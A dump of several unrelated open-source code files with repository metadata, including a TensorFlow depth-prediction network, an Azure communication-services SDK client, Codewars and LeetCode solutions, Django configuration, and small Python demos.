quantile_sys.append(df_bp_filter['Avg_Sys'].quantile( j )) quantile_dia.append(df_bp_filter['Avg_Dia'].quantile( j )) quantile_tri.append(df_ch_filter['Tri'].quantile( j )) quantile_ldl.append(df_ch_filter['LDL'].quantile( j )) quantile_hdl.append(df_ch_filter['HDL'].quantile( j )) # print "Quantile: HR: ", quantile_hr # print "Quantile: Sys: ", quantile_sys # print "Quantile: Dia: ", quantile_dia # print "Quantile: Tri: ", quantile_tri # print "Quantile: LDL: ", quantile_ldl # print "Quantile: HDL", quantile_hdl for state in state_sample_list: print "Generating Health Statistics for state: ", state print "\t", "Age: ", age_group[ age ], "\t", "Gender: ", gender_group[ gender ] # print "\n", state, "\n" state_sample_list[ state ].index = range(len(state_sample_list[ state ].index)) state_population_index = state_sample_list[ state ].index for person in state_population_index: # print person # print state_sample_list[ state ]['Gender'][ person ], gender_group[gender] # print state_sample_list[ state ]['Age_years'][ person ], age_group[ age ] # print state_sample_list[ state ]['Age_years'][ person ], age_group[ age + 1 ] # print test = (state_sample_list[ state ]['Age_years'][ person ] >= age_group[ age ]) & \ (state_sample_list[ state ]['Age_years'][ person ] < age_group[ age + 1 ]) & \ (state_sample_list[ state ]['Gender'][ person ] == gender_group[ gender ]) # print test if test == True: # print "Makes it" # print # print age_by_100 = state_sample_list[ state ]['Age_years'][ person ] / 100 rnd_hr = 20 * rnd.random() rnd_sys = min(19.0 + rnd.random(), (20 * (rnd.random() + 0.3 * age_by_100))) rnd_dia = rnd_sys # rnd_dia = 20 * rnd.random() rnd_tri = 20 * rnd.random() rnd_ldl = 20 * rnd.random() rnd_hdl = 20 - rnd_tri # rnd_hdl = 20 * rnd.random() rnd_hr_f = floor(rnd_hr) rnd_sys_f = floor(rnd_sys) rnd_dia_f = floor(rnd_dia) rnd_tri_f = floor(rnd_tri) rnd_ldl_f = floor(rnd_ldl) rnd_hdl_f = floor(rnd_hdl) rnd_hr_diff = rnd_hr - rnd_hr_f rnd_sys_diff = rnd_sys - rnd_sys_f rnd_dia_diff = rnd_dia - rnd_dia_f rnd_tri_diff = rnd_tri - rnd_tri_f rnd_ldl_diff = rnd_ldl - rnd_ldl_f rnd_hdl_diff = rnd_hdl - rnd_hdl_f rnd_hr_i = int(rnd_hr_f) rnd_sys_i = int(rnd_sys_f) rnd_dia_i = int(rnd_dia_f) rnd_tri_i = int(rnd_tri_f) rnd_ldl_i = int(rnd_ldl_f) rnd_hdl_i = int(rnd_hdl_f) state_sample_list[ state ].loc[person, 'HR'] = quantile_hr[ rnd_hr_i ] + \ ((quantile_hr[ rnd_hr_i + 1 ] - quantile_hr[ rnd_hr_i]) \ * rnd_hr_diff) state_sample_list[ state ].loc[person, 'Avg_Sys'] = quantile_sys[ rnd_sys_i ] + \ ((quantile_sys[ rnd_sys_i + 1 ] - quantile_sys[ rnd_sys_i ]) \ * rnd_sys_diff) state_sample_list[ state ].loc[person, 'Avg_Dia'] = quantile_dia[ rnd_dia_i ] + \ ((quantile_dia[ rnd_dia_i + 1 ] - quantile_dia[ rnd_dia_i]) \ * rnd_dia_diff) state_sample_list[ state ].loc[person, 'Tri'] = quantile_tri[ rnd_tri_i ] + \ ((quantile_tri[ rnd_tri_i + 1 ] - quantile_tri[ rnd_tri_i]) \ * rnd_tri_diff) state_sample_list[ state ].loc[person, 'LDL'] = quantile_ldl[ rnd_ldl_i ] + \ ((quantile_ldl[ rnd_ldl_i + 1 ] - quantile_ldl[ rnd_ldl_i ]) \ * rnd_ldl_diff) state_sample_list[ state ].loc[person, 'HDL'] = quantile_hdl[ rnd_hdl_i ] + \ ((quantile_hdl[ rnd_hdl_i + 1 ] - quantile_hdl[ rnd_hdl_i ])\ * rnd_hdl_diff) else: pass for state in state_sample_list: state_sample_list[ state ].to_csv(state + '_SampleData.csv') print "Fraction of Population (1 / x): ", FRACTION_POPULATION print "State: ", state, "State_Population: ", len(state_sample_list[ state ].index) print "---- %s seconds ----" % (time.time() - start_time)
[ "ming.tai.ha@gmail.com" ]
ming.tai.ha@gmail.com
6246c7a30ce3f69a4b0a6b6d1afd3b28493dd43f
b3f6daa5d6c987eb8a61d5fe125bf2a98997e259
/8kyu/Multiplication table for number/index.py
1f321270b077646deb2dd5ef0a6e0be9bc926544
[]
no_license
krnets/codewars-practice
53a0a6c9d2d8c2b94d6799a12f48dd588179a5ce
5f8e1cc1aebd900b9e5a276884419fc3e1ddef24
refs/heads/master
2022-12-20T19:33:43.337581
2022-12-16T05:32:39
2022-12-16T05:32:39
217,464,785
1
0
null
2020-07-20T08:36:31
2019-10-25T06:20:41
JavaScript
UTF-8
Python
false
false
934
py
# 8kyu - Multiplication table for number """ Your goal is to return multiplication table for number that is always an integer from 1 to 10. For example, a multiplication table (string) for number == 5 looks like below: 1 * 5 = 5 2 * 5 = 10 3 * 5 = 15 4 * 5 = 20 5 * 5 = 25 6 * 5 = 30 7 * 5 = 35 8 * 5 = 40 9 * 5 = 45 10 * 5 = 50 P. S. You can use \n in string to jump to the next line. """ # def multi_table(n): # res = '' # for i in range(1, 11): # res += f'{str(i)} * {n} = {str(i * n)}\n' # return res.rstrip() def multi_table(number): return '\n'.join(f'{i} * {number} = {i * number}' for i in range(1, 11)) q = multi_table(5) q # '1 * 5 = 5\n2 * 5 = 10\n3 * 5 = 15\n4 * 5 = 20\n5 * 5 = 25\n6 * 5 = 30\n7 * 5 = 35\n8 * 5 = 40\n9 * 5 = 45\n10 * 5 = 50' q = multi_table(1) q # '1 * 1 = 1\n2 * 1 = 2\n3 * 1 = 3\n4 * 1 = 4\n5 * 1 = 5\n6 * 1 = 6\n7 * 1 = 7\n8 * 1 = 8\n9 * 1 = 9\n10 * 1 = 10'
[ "cmantheo@gmail.com" ]
cmantheo@gmail.com
0700e41943b34c568b0636697dc724fe41d3d5d8
d94b6845aeeb412aac6850b70e22628bc84d1d6d
/depth_and_motion_learning/depth_prediction_nets.py
5062f2dd8d0c49e695ef4f4063abbe420b2f4e57
[ "CC-BY-4.0", "Apache-2.0" ]
permissive
ishine/google-research
541aea114a68ced68736340e037fc0f8257d1ea2
c1ae273841592fce4c993bf35cdd0a6424e73da4
refs/heads/master
2023-06-08T23:02:25.502203
2023-05-31T01:00:56
2023-05-31T01:06:45
242,478,569
0
0
Apache-2.0
2020-06-23T01:55:11
2020-02-23T07:59:42
Jupyter Notebook
UTF-8
Python
false
false
15,437
py
# coding=utf-8 # Copyright 2023 The Google Research Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Depth-prediction networks, based on the Struct2Depth code. https://github.com/tensorflow/models/blob/master/research/struct2depth/nets.py """ import abc import numpy as np import tensorflow.compat.v1 as tf from tensorflow.compat.v1 import estimator as tf_estimator from depth_and_motion_learning import maybe_summary from tensorflow.contrib import framework as contrib_framework from tensorflow.contrib import layers as contrib_layers layers = contrib_layers arg_scope = contrib_framework.arg_scope WEIGHT_DECAY_KEY = 'WEIGHT_DECAY' def encoder_resnet(target_image, weight_reg, is_training, normalizer_fn=None): """Defines a ResNet18-based encoding architecture. This implementation follows Juyong Kim's implementation of ResNet18 on GitHub: https://github.com/dalgu90/resnet-18-tensorflow Args: target_image: Input tensor with shape [B, h, w, 3] to encode. weight_reg: Parameter ignored. is_training: Whether the model is being trained or not. normalizer_fn: Normalization function, defaults to batch normalization (_bn) below. Returns: Tuple of tensors, with the first being the bottleneck layer as tensor of size [B, h_hid, w_hid, c_hid], and others being intermediate layers for building skip-connections. """ del weight_reg normalizer_fn = normalizer_fn or _bn encoder_filters = [64, 64, 128, 256, 512] stride = 2 # conv1 with tf.variable_scope('conv1'): x = s_conv(target_image, 7, encoder_filters[0], stride) x = normalizer_fn(x, is_train=is_training) econv1 = s_relu(x) x = tf.nn.max_pool(econv1, [1, 3, 3, 1], [1, 2, 2, 1], 'SAME') # conv2_x x = s_residual_block( x, is_training, name='conv2_1', normalizer_fn=normalizer_fn) econv2 = s_residual_block( x, is_training, name='conv2_2', normalizer_fn=normalizer_fn) # conv3_x x = s_residual_block_first( econv2, is_training, encoder_filters[2], stride, name='conv3_1', normalizer_fn=normalizer_fn) econv3 = s_residual_block( x, is_training, name='conv3_2', normalizer_fn=normalizer_fn) # conv4_x x = s_residual_block_first( econv3, is_training, encoder_filters[3], stride, name='conv4_1', normalizer_fn=normalizer_fn) econv4 = s_residual_block( x, is_training, name='conv4_2', normalizer_fn=normalizer_fn) # conv5_x x = s_residual_block_first( econv4, is_training, encoder_filters[4], stride, name='conv5_1', normalizer_fn=normalizer_fn) econv5 = s_residual_block( x, is_training, name='conv5_2', normalizer_fn=normalizer_fn) return econv5, (econv4, econv3, econv2, econv1) class GenericDepthPredictor(object): """An abstract class for a depth predictor.""" __metaclass__ = abc.ABCMeta def __init__(self, mode, params=None): """Creates an instance. Args: mode: One of tf.estimator.ModeKeys: TRAIN, PREDICT or EVAL. params: A dictionary containing relevant parameters. """ allowed_attrs = ['TRAIN', 'PREDICT', 'EVAL'] allowed_values = [ getattr(tf_estimator.ModeKeys, attr) for attr in allowed_attrs ] if mode not in allowed_values: raise ValueError('\'mode\' must be one of tf.estimator.ModeKeys.(%s)' % ', '.join(allowed_attrs)) self._mode = mode self._params = self._default_params self._params.update(params or {}) @property def _defalut_params(self): return {} @abc.abstractmethod def predict_depth(self, rgb, sensor_depth): """An interface for predicting depth. Args: rgb: A batch of RGB images, of shape [B, H, W, 3]. sensor_depth: Optional, batch of depth sensor images of shape [B, H, W], to be fused into the prediction. """ pass class ResNet18DepthPredictor(GenericDepthPredictor): """A depth predictor based on ResNet18 with randomized layer normalization.""" @property def _default_params(self): return { # Number of training steps over which the noise in randomized layer # normalization ramps up. 'layer_norm_noise_rampup_steps': 10000, # Weight decay regularization of the network base. 'weight_decay': 0.01, # If true, a learned scale factor will multiply the network's depth # prediction. This is useful when direct depth supervision exists. 'learn_scale': False, # A boolean, if True, deconvolutions will be padded in 'REFLECT' mode, # otherwise in 'CONSTANT' mode (the former is not supported on TPU) 'reflect_padding': False } def predict_depth(self, rgb, sensor_depth=None): del sensor_depth # unused with tf.variable_scope('depth_prediction', reuse=tf.AUTO_REUSE): if self._mode == tf_estimator.ModeKeys.TRAIN: noise_stddev = 0.5 global_step = tf.train.get_global_step() rampup_steps = self._params['layer_norm_noise_rampup_steps'] if global_step is not None and rampup_steps > 0: # If global_step is available, ramp up the noise. noise_stddev *= tf.square( tf.minimum(tf.to_float(global_step) / float(rampup_steps), 1.0)) else: noise_stddev = 0.0 def _normalizer_fn(x, is_train, name='bn'): return randomized_layer_norm( x, is_train=is_train, name=name, stddev=noise_stddev) if self._params['learn_scale']: depth_scale = tf.get_variable('depth_scale', initializer=1.0) maybe_summary.scalar('depth_scale', depth_scale) else: depth_scale = 1.0 return depth_scale * depth_prediction_resnet18unet( 2 * rgb - 1.0, self._mode == tf_estimator.ModeKeys.TRAIN, self._params['weight_decay'], _normalizer_fn, reflect_padding=self._params['reflect_padding']) def depth_prediction_resnet18unet(images, is_training, decoder_weight_reg=0.0, normalizer_fn=None, reflect_padding=True): """A depth prediciton network based on a ResNet18 UNet architecture. This network is identical to disp_net in struct2depth.nets with architecture='resnet', with the following differences: 1. We use a softplus activation to generate positive depths. This eliminates the need for the hyperparameters DISP_SCALING and MIN_DISP defined in struct2depth.nets. The predicted depth is no longer bounded. 2. The network predicts depth rather than disparity, and at a single scale. Args: images: A tf.Tensor of shape [B, H, W, C] representing images. is_training: A boolean, True if in training mode. decoder_weight_reg: A scalar, strength of L2 weight regularization to be used in the decoder. normalizer_fn: Normalizer function to use for convolutions. Defaults to batch normalization. reflect_padding: A boolean, if True, deconvolutions will be padded in 'REFLECT' mode, otherwise in 'CONSTANT' mode (the former is not supported on TPU) Returns: A tf.Tensor of shape [B, H, W, 1] containing depths maps. """ # The struct2depth resnet encoder does not use the weight_reg argument, hence # we're passing None. bottleneck, skip_connections = encoder_resnet( images, weight_reg=None, is_training=is_training, normalizer_fn=normalizer_fn) (econv4, econv3, econv2, econv1) = skip_connections decoder_filters = [16, 32, 64, 128, 256] reg = layers.l2_regularizer(decoder_weight_reg) padding_mode = 'REFLECT' if reflect_padding else 'CONSTANT' with arg_scope([layers.conv2d, layers.conv2d_transpose], normalizer_fn=None, normalizer_params=None, activation_fn=tf.nn.relu, weights_regularizer=reg): upconv5 = layers.conv2d_transpose( bottleneck, decoder_filters[4], [3, 3], stride=2, scope='upconv5') iconv5 = layers.conv2d( _concat_and_pad(upconv5, econv4, padding_mode), decoder_filters[4], [3, 3], stride=1, scope='iconv5', padding='VALID') upconv4 = layers.conv2d_transpose( iconv5, decoder_filters[3], [3, 3], stride=2, scope='upconv4') iconv4 = layers.conv2d( _concat_and_pad(upconv4, econv3, padding_mode), decoder_filters[3], [3, 3], stride=1, scope='iconv4', padding='VALID') upconv3 = layers.conv2d_transpose( iconv4, decoder_filters[2], [3, 3], stride=2, scope='upconv3') iconv3 = layers.conv2d( _concat_and_pad(upconv3, econv2, padding_mode), decoder_filters[2], [3, 3], stride=1, scope='iconv3', padding='VALID') upconv2 = layers.conv2d_transpose( iconv3, decoder_filters[1], [3, 3], stride=2, scope='upconv2') iconv2 = layers.conv2d( _concat_and_pad(upconv2, econv1, padding_mode), decoder_filters[1], [3, 3], stride=1, scope='iconv2', padding='VALID') upconv1 = layers.conv2d_transpose( iconv2, decoder_filters[0], [3, 3], stride=2, scope='upconv1') upconv1 = tf.pad( upconv1, [[0, 0], [1, 1], [1, 1], [0, 0]], mode=padding_mode) iconv1 = layers.conv2d( upconv1, decoder_filters[0], [3, 3], stride=1, scope='iconv1', padding='VALID') depth_input = tf.pad( iconv1, [[0, 0], [1, 1], [1, 1], [0, 0]], mode=padding_mode) return layers.conv2d( depth_input, 1, [3, 3], stride=1, activation_fn=tf.nn.softplus, normalizer_fn=None, scope='disp1', padding='VALID') def _concat_and_pad(decoder_layer, encoder_layer, padding_mode): concat = tf.concat([decoder_layer, encoder_layer], axis=3) return tf.pad(concat, [[0, 0], [1, 1], [1, 1], [0, 0]], mode=padding_mode) def randomized_layer_norm(x, is_train, name='bn', stddev=0.5): """Applies layer normalization and applies noise on the mean and variance. For every item in a batch and for every layer, we calculate the mean and variance across the spatial dimensions, and multiply them by Gaussian noise with a mean equal to 1.0 (at training time only). This improved the results compared to batch normalization - see more in https://arxiv.org/abs/1904.04998. Args: x: tf.Tensor to normalize, of shape [B, H, W, C]. is_train: A boolean, True at training mode. name: A string, a name scope. stddev: Standard deviation of the Gaussian noise. Defaults to 0.5 because this is the largest value where the noise is guaranteed to be a non-negative multiplicative factor Returns: A tf.Tensor of shape [B, H, W, C], the normalized tensor. """ with tf.variable_scope(name, None, [x]): inputs_shape = x.shape.as_list() params_shape = inputs_shape[-1:] beta = tf.get_variable( 'beta', shape=params_shape, initializer=tf.initializers.zeros()) gamma = tf.get_variable( 'gamma', shape=params_shape, initializer=tf.initializers.ones()) mean, variance = tf.nn.moments(x, [1, 2], keep_dims=True) if is_train: mean *= 1.0 + tf.random.truncated_normal(tf.shape(mean), stddev=stddev) variance *= 1.0 + tf.random.truncated_normal( tf.shape(variance), stddev=stddev) outputs = tf.nn.batch_normalization( x, mean, variance, offset=beta, scale=gamma, variance_epsilon=1e-3) outputs.set_shape(x.shape) return outputs def s_residual_block_first(x, is_training, out_channel, strides, name='unit', normalizer_fn=None): """Helper function for defining ResNet architecture.""" normalizer_fn = normalizer_fn or _bn in_channel = x.get_shape().as_list()[-1] with tf.variable_scope(name): # Shortcut connection if in_channel == out_channel: if strides == 1: shortcut = tf.identity(x) else: shortcut = tf.nn.max_pool(x, [1, strides, strides, 1], [1, strides, strides, 1], 'VALID') else: shortcut = s_conv(x, 1, out_channel, strides, name='shortcut') # Residual x = s_conv(x, 3, out_channel, strides, name='conv_1') x = normalizer_fn(x, is_train=is_training, name='bn_1') x = s_relu(x, name='relu_1') x = s_conv(x, 3, out_channel, 1, name='conv_2') x = normalizer_fn(x, is_train=is_training, name='bn_2') # Merge x = x + shortcut x = s_relu(x, name='relu_2') return x def s_residual_block(x, is_training, input_q=None, output_q=None, name='unit', normalizer_fn=None): """Helper function for defining ResNet architecture.""" normalizer_fn = normalizer_fn or _bn num_channel = x.get_shape().as_list()[-1] with tf.variable_scope(name): shortcut = x # Shortcut connection # Residual x = s_conv( x, 3, num_channel, 1, input_q=input_q, output_q=output_q, name='conv_1') x = normalizer_fn(x, is_train=is_training, name='bn_1') x = s_relu(x, name='relu_1') x = s_conv( x, 3, num_channel, 1, input_q=output_q, output_q=output_q, name='conv_2') x = normalizer_fn(x, is_train=is_training, name='bn_2') # Merge x = x + shortcut x = s_relu(x, name='relu_2') return x def s_conv(x, filter_size, out_channel, stride, pad='SAME', input_q=None, output_q=None, name='conv'): """Helper function for defining ResNet architecture.""" if (input_q is None) ^ (output_q is None): raise ValueError('Input/Output splits are not correctly given.') in_shape = x.get_shape() with tf.variable_scope(name): kernel = tf.get_variable( 'kernel', [filter_size, filter_size, in_shape[3], out_channel], tf.float32, initializer=tf.random_normal_initializer( stddev=np.sqrt(2.0 / filter_size / filter_size / out_channel))) if kernel not in tf.get_collection(WEIGHT_DECAY_KEY): tf.add_to_collection(WEIGHT_DECAY_KEY, kernel) conv = tf.nn.conv2d(x, kernel, [1, stride, stride, 1], pad) return conv def _bn(x, is_train, name='bn'): """Helper function for defining ResNet architecture.""" bn = tf.layers.batch_normalization(x, training=is_train, name=name) return bn def s_relu(x, name=None, leakness=0.0): """Helper function for defining ResNet architecture.""" if leakness > 0.0: name = 'lrelu' if name is None else name return tf.maximum(x, x * leakness, name='lrelu') else: name = 'relu' if name is None else name return tf.nn.relu(x, name='relu')
[ "copybara-worker@google.com" ]
copybara-worker@google.com
3afd7c0568a43bde56e0611f65fcbdc799c94449
35ff4e124ea73cd2630ddf25dfe019b4b4e3f5d6
/994_RottingOranges/994_RottingOranges.py
777017151f0b833177bea0e63b0c234941faf4e8
[]
no_license
H-Cong/LeetCode
0a2084a4845b5d7fac67c89bd72a2adf49f90c3d
d00993a88c6b34fcd79d0a6580fde5c523a2741d
refs/heads/master
2023-03-19T15:22:00.971461
2021-03-11T00:33:00
2021-03-11T00:33:00
303,265,129
0
0
null
null
null
null
UTF-8
Python
false
false
1,244
py
class Solution: def orangesRotting(self, grid: List[List[int]]) -> int: ''' BFS ''' if not grid or not grid[0]: return -1 queue = collections.deque() fresh_orange = 0 row, col = len(grid), len(grid[0]) for r in range(row): for c in range(col): if grid[r][c] == 2: queue.append((r,c)) elif grid[r][c] == 1: fresh_orange += 1 ans = 0 while queue and fresh_orange: ans += 1 for _ in range(len(queue)): # NOTE r, c = queue.popleft() directions = [(r+1, c), (r-1, c), (r, c+1), (r, c-1)] for x, y in directions: if 0 <= x < row and 0 <= y < col and grid[x][y] == 1: grid[x][y] = 2 fresh_orange -= 1 queue.append((x, y)) return ans if fresh_orange == 0 else -1 # TC: O(r*c) # SC: O(r*c) # NOTE: the queue.append() operation wont affect the len(queue) of current level # ref: https://leetcode.com/problems/rotting-oranges/discuss/563686/
[ "nych1989@gmail.com" ]
nych1989@gmail.com
ba16b9c45ccba6a88292908dfc89be7ef7868df6
c5d03277659cda71818b02efec40e9209012e42d
/test_data/render/constants.py
f10db1fd991611f5fbe4d7127ab35dfa5fc9b533
[ "Apache-2.0" ]
permissive
ace-ecosystem/ACE
955e75172094e352ca9ab214148b30afa0007b7c
acf639555f8f05dcca397d88cf380c4c2fe46887
refs/heads/dev
2022-02-09T07:23:21.389553
2022-02-08T00:04:54
2022-02-08T00:04:54
207,117,209
28
11
Apache-2.0
2022-02-04T20:01:19
2019-09-08T13:32:50
Python
UTF-8
Python
false
false
331
py
TEST_OUTPUT_DATA = b'iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAKFJREFUSIndlNENwyAMRI+qk7ABE3k2JvIGLMAXLOB+VbJCSGNKkJL7tLAfMtw5EREoee+RUtIl1Foxqtdw5yoAEYGIrgHowT2Is7wBM5+GhxAAAO/THarpq+2tY4xNz18r0gP3hgPGFY3o8m/qSiny61DOeRiw3miWrzgEmK0HAbauPAowM6A3bAZkzYp6OdKrW9Q4mZmb1LyXk2fr/mH3AY5CTdAHKN2WAAAAAElFTkSuQmCC'
[ "unixfreak0037@gmail.com" ]
unixfreak0037@gmail.com
37654083f325ba530ff035d80eda3ac7a47eea19
bad62c2b0dfad33197db55b44efeec0bab405634
/sdk/communication/azure-mgmt-communication/azure/mgmt/communication/aio/_communication_service_management_client.py
c3e466542f9cfccfbf535c2dbf61537086ee6f3a
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
test-repo-billy/azure-sdk-for-python
20c5a2486456e02456de17515704cb064ff19833
cece86a8548cb5f575e5419864d631673be0a244
refs/heads/master
2022-10-25T02:28:39.022559
2022-10-18T06:05:46
2022-10-18T06:05:46
182,325,031
0
0
MIT
2019-07-25T22:28:52
2019-04-19T20:59:15
Python
UTF-8
Python
false
false
5,024
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from copy import deepcopy from typing import Any, Awaitable, TYPE_CHECKING from msrest import Deserializer, Serializer from azure.core.rest import AsyncHttpResponse, HttpRequest from azure.mgmt.core import AsyncARMPipelineClient from .. import models from ._configuration import CommunicationServiceManagementClientConfiguration from .operations import CommunicationServicesOperations, DomainsOperations, EmailServicesOperations, Operations if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from azure.core.credentials_async import AsyncTokenCredential class CommunicationServiceManagementClient: """REST API for Azure Communication Services. :ivar operations: Operations operations :vartype operations: azure.mgmt.communication.aio.operations.Operations :ivar communication_services: CommunicationServicesOperations operations :vartype communication_services: azure.mgmt.communication.aio.operations.CommunicationServicesOperations :ivar domains: DomainsOperations operations :vartype domains: azure.mgmt.communication.aio.operations.DomainsOperations :ivar email_services: EmailServicesOperations operations :vartype email_services: azure.mgmt.communication.aio.operations.EmailServicesOperations :param credential: Credential needed for the client to connect to Azure. :type credential: ~azure.core.credentials_async.AsyncTokenCredential :param subscription_id: The ID of the target subscription. :type subscription_id: str :param base_url: Service URL. Default value is "https://management.azure.com". :type base_url: str :keyword api_version: Api Version. Default value is "2021-10-01-preview". Note that overriding this default value may result in unsupported behavior. :paramtype api_version: str :keyword int polling_interval: Default waiting time between two polls for LRO operations if no Retry-After header is present. """ def __init__( self, credential: "AsyncTokenCredential", subscription_id: str, base_url: str = "https://management.azure.com", **kwargs: Any ) -> None: self._config = CommunicationServiceManagementClientConfiguration(credential=credential, subscription_id=subscription_id, **kwargs) self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs) client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._deserialize = Deserializer(client_models) self._serialize.client_side_validation = False self.operations = Operations(self._client, self._config, self._serialize, self._deserialize) self.communication_services = CommunicationServicesOperations(self._client, self._config, self._serialize, self._deserialize) self.domains = DomainsOperations(self._client, self._config, self._serialize, self._deserialize) self.email_services = EmailServicesOperations(self._client, self._config, self._serialize, self._deserialize) def _send_request( self, request: HttpRequest, **kwargs: Any ) -> Awaitable[AsyncHttpResponse]: """Runs the network request through the client's chained policies. >>> from azure.core.rest import HttpRequest >>> request = HttpRequest("GET", "https://www.example.org/") <HttpRequest [GET], url: 'https://www.example.org/'> >>> response = await client._send_request(request) <AsyncHttpResponse: 200 OK> For more information on this code flow, see https://aka.ms/azsdk/python/protocol/quickstart :param request: The network request you want to make. Required. :type request: ~azure.core.rest.HttpRequest :keyword bool stream: Whether the response payload will be streamed. Defaults to False. :return: The response of your network call. Does not do error handling on your response. :rtype: ~azure.core.rest.AsyncHttpResponse """ request_copy = deepcopy(request) request_copy.url = self._client.format_url(request_copy.url) return self._client.send_request(request_copy, **kwargs) async def close(self) -> None: await self._client.close() async def __aenter__(self) -> "CommunicationServiceManagementClient": await self._client.__aenter__() return self async def __aexit__(self, *exc_details) -> None: await self._client.__aexit__(*exc_details)
[ "noreply@github.com" ]
test-repo-billy.noreply@github.com
3365d477bc72257548753a3d59e5bf3acff947b8
17079988dedef6f830633a7a54b181355231fe3e
/pattern.py
42a4935c831b024ce611f8d9fc3393de41d08823
[]
no_license
sum008/python-backup
cdf6eaff60d882c36fe86b47ad311955d5869b02
729fbe2a5220941f9ba085c693c871592a529da8
refs/heads/master
2022-12-12T21:21:48.259680
2020-09-12T15:36:05
2020-09-12T15:36:05
285,461,845
0
0
null
null
null
null
UTF-8
Python
false
false
1,070
py
def draw(n): count=0 max1=0 temp=0 for i in range(1,2*n): for j in range(2*n-1,0,-1): if i<=2*n//2: if count<=max1: print(str(n-count),end=" ") temp=count count+=1 elif count>max1 and not count>j: print(str(n-temp),end=" ") else : temp-=1 print(str(n-temp),end=" ") else: if count<=max1: print(str(n-count),end=" ") temp=count count+=1 elif count>max1 and not count>j: print(str(n-temp),end=" ") else : temp-=1 print(str(n-temp),end=" ") if i<2*n//2: max1+=1 else: max1-=1 count=0 print() draw(5)
[ "noreply@github.com" ]
sum008.noreply@github.com
625054a1aec470b6b43bdf069cfd9cd5e5c346ed
42260c6cb630820076e771563b589435af6dc247
/django_by_example/urls.py
d911d81b254bfcddf0f5d0f4dc3af5f4d960cc2d
[]
no_license
pbpoon/dbe
a903aed27a44dc7943976fffd79a1f33d9edf341
bd50976ab3141ef75a3d5324d8b1e0258281f149
refs/heads/master
2021-01-23T01:12:39.242625
2017-05-31T13:32:16
2017-05-31T13:32:16
92,856,979
0
0
null
null
null
null
UTF-8
Python
false
false
1,092
py
"""django_by_example URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/1.10/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.conf.urls import url, include 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls')) """ from django.conf.urls import url, include from django.contrib import admin from django.conf import settings from django.conf.urls.static import static urlpatterns = [ url(r'^images/', include('images.urls', namespace='images')), url(r'^', include('account.urls')), url(r'^admin/', admin.site.urls), ] if settings.DEBUG: urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
[ "pbpoon@live.com" ]
pbpoon@live.com
50622297f1a784aa10e0f4e3a806c9881f47e51e
792cf43c94131428331f2ed8a868144e54948975
/최종 소스코드(완성본)/html/djangoTest/oiserver/migrations/0010_multiplayroom_roomjson.py
5d92840acf2be24ea01a9c32459b862598404d22
[ "MIT" ]
permissive
BaeKeunBin/OIWebProject
c77e74ab4a3cdaea3d220940f7e33ad2b54dea01
60467fdec8169dd8a7ac3bf8256d3c06635ba8c5
refs/heads/master
2020-04-14T01:41:33.424968
2019-02-06T07:54:47
2019-02-06T07:54:47
115,590,590
2
0
null
null
null
null
UTF-8
Python
false
false
458
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.9 on 2018-03-20 12:06 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('oiserver', '0009_multiplayroom'), ] operations = [ migrations.AddField( model_name='multiplayroom', name='roomJson', field=models.TextField(default='default'), ), ]
[ "lih0420@naver.com" ]
lih0420@naver.com
061bea63baa0453a60bd7572e9139a98261d8556
e8f99a162207cba82d4e0f969d7bcdb2b9d8b522
/dev_demo/struct_demo/struct_demo.py
b9adbaf56356e3ebbebdaefe99d8d4121a77165c
[]
no_license
TesterCC/Python3Scripts
edb5446278ebf13edb64336001081941ca27d67d
58be67e1ffc74ef50289a885aa4ad05f58e2c383
refs/heads/master
2023-08-30T21:16:38.328045
2023-08-17T11:23:08
2023-08-17T11:23:08
93,401,996
6
3
null
null
null
null
UTF-8
Python
false
false
347
py
import struct # 网络字节序,大端序,数据封装测试 # 方法1:个人认为这个更优 file_header = 0xF3EC2B12 packed_data = struct.pack(">I", file_header) print(len(packed_data), packed_data) # 方法2: hex_str = "F3EC2B12" bytes_data = bytes.fromhex(hex_str) print(len(bytes_data), bytes_data) # output # 4 b'\xf3\xec+\x12'
[ "testerlyx@foxmail.com" ]
testerlyx@foxmail.com
9ea419e362a04349cd7136800c00330c6e3e4e10
1b08865f72e231a844ca5d3b166d12bdd2a3787a
/bin/getting_started_osg.py
a153fb7cb87a2274076567a25ddfe780036c27de
[]
no_license
radical-experiments/osg_testing
71536cdfadc7e9eade9b42b25dfc6894462e91a4
2b534e3e7420548324fc8f600d1c1c722b8e0b38
refs/heads/master
2021-01-17T18:45:35.006374
2016-06-19T20:43:18
2016-06-19T20:43:18
60,442,165
0
0
null
null
null
null
UTF-8
Python
false
false
6,215
py
